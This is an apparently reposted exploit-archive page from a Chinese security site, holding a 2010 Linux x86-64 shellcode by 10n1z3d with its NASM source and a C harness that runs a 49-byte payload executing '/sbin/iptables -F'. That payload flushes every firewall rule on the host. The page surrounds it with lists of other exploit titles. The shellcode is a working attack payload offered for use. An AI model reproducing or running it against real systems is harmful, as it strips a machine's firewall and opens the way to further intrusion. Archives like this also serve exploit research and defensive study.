首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 byt
来源:10n1z3d[at]w[dot]cn 作者:10n1z3d 发布时间:2010-07-12  

/*
    Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes
    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
    Date: Fri 09 Jul 2010 03:26:12 PM EEST
   
   
    Source Code (NASM):
   
    section .text
        global _start
       
    _start:
        xor     rax, rax
        push    rax
        push    word 0x462d
        mov     rcx, rsp
       
        mov     rbx, 0x73656c626174ffff
        shr     rbx, 0x10
        push    rbx
        mov     rbx, 0x70692f6e6962732f
        push    rbx
        mov     rdi, rsp
       
        push    rax
        push    rcx
        push    rdi
        mov     rsi, rsp
       
        ; execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL);
        mov     al, 0x3b
        syscall
*/

#include <stdio.h>

char shellcode[] = "\x48\x31\xc0\x50\x66\x68\x2d\x46\x48\x89\xe1\x48\xbb\xff\xff"
                   "\x74\x61\x62\x6c\x65\x73\x48\xc1\xeb\x10\x53\x48\xbb\x2f\x73"
                   "\x62\x69\x2f\x69\x70\x53\x48\x89\xe7\x50\x51\x57\x48\x89\xe6"
                   "\xb0\x3b\x0f\x05";
                  
int main()
{
    printf("Length: %d bytes.\n'", strlen(shellcode));
    (*(void(*)()) shellcode)();
   
    return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft MSHTML.DLL CTIMEOUTE
·RSP MP3 Player OCX 3.2 ActiveX
·MP3 Cutter v1.5 DoS Exploit
·Image22 ActiveX v1.1.1 Buffer
·Shemes Grabbit suffers from a
·Linux x86 netcat bindshell por
·Write-to-file Shellcode (Win32
·Linux x86 netcat connect back
·Sun Java Web Server 7.0 u7 Exp
·cmd.exe Unicode Buffer Overflo
·Avant Browser Denial of Servic
·91 bytes Find all writeable fo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved